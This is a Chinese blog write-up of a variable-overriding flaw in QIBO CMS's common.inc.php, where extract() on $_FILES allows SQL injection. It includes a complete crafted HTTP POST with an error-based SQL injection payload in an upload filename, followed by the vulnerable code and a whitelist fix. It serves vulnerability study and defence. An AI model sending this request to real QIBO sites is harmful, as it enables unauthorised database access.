zoukankan      html  css  js  c++  java
  • QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES

    目录

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入"本地变量覆盖""本地变量未初始化"的安全风险
    齐博CMS中的漏洞文件/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞

    Relevant Link:

    http://bbs.qibosoft.com/read-forum-tid-422299.htm


    2. 漏洞触发条件

    0x1: 攻击入口

    构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

    1. 首先访问/member下面的"评论管理"功能,抓包
    
    2. 在http request中构造一个attachment,如下:
    /*
    POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
    Host: 127.0.0.1  
    Proxy-Connection: keep-alive  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0  
    Referer: http://127.0.0.1/qibo/member/comment.php?job=work  
    Accept-Encoding: gzip,deflate,sdch  
    Accept-Language: zh-CN,zh;q=0.8  
    Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1;   
    passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork  
    Content-Type: multipart/form-data;   
    boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl  
    Content-Length: 227  
       
    ------WebKitFormBoundary6ukpBHoIrpHKtOkl  
    Content-Disposition: form-data; name="cidDB"; filename="1' and EXP(~(select * from(select user())a)) -- "  
    Content-Type: text/plain  
       
    1111  
    ------WebKitFormBoundary6ukpBHoIrpHKtOkl--
    */
    注意将原来的URL上的cidDB[]=x删除掉;
    然后构造一个文件上传的报文(GET改为POST方法)
    在filename处填入注入的payload
    
    3. 提交该数据包,即可注入成功
    //这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖

    Relevant Link:

    http://bobao.360.cn/learning/detail/291.html


    3. 漏洞影响范围

    齐博所有系统、所有版本


    4. 漏洞代码分析

    qiboinccommon.inc.php

    /*
    全局变量文件对GPC变量的过滤
    从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
    这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
    */
    $_POST=Add_S($_POST);
    $_GET=Add_S($_GET);
    $_COOKIE=Add_S($_COOKIE);
    
    function Add_S($array)
    {
        foreach($array as $key=>$value)
        {
            if(!is_array($value))
            {
                $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
                $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
                !get_magic_quotes_gpc() && $value=addslashes($value);
                $array[$key]=$value;
            }
            else
            {
                $array[$key]=Add_S($array[$key]); 
            }
        }
        return $array;
    }
    
    if(!ini_get('register_globals'))
    {
        @extract($_FILES,EXTR_SKIP);
    }
    
    foreach($_COOKIE AS $_key=>$_value)
    {
        unset($$_key);
    }
    foreach($_POST AS $_key=>$_value)
    {
        !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
    }
    foreach($_GET AS $_key=>$_value)
    {
        !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
    }


    5. 防御方法

    qiboinccommon.inc.php

    if(!ini_get('register_globals'))
    {
        $array = array('Filedata','postfile','upfile','fileData','Filedata');
        foreach($array AS $key=>$value)
        {
            is_array($_FILES[$value]) && $$value = $_FILES[$value];
        }
    }


    6. 攻防思考

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    225. 用队列实现栈
    232. 用栈实现队列
    459.重复的子字符串(简单)
    28. 实现 strStr()(简单)
    剑指 Offer 58
    541. 反转字符串 II(简单)
    浏览器渲染页面的过程、重绘、重排以及页面优化
    隐藏一个元素的几种方法
    当我们在浏览器中输入一个URL后,发生了什么?
    Object.create() 和 new Object()、{} 的区别
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4329397.html
Copyright © 2011-2022 走看看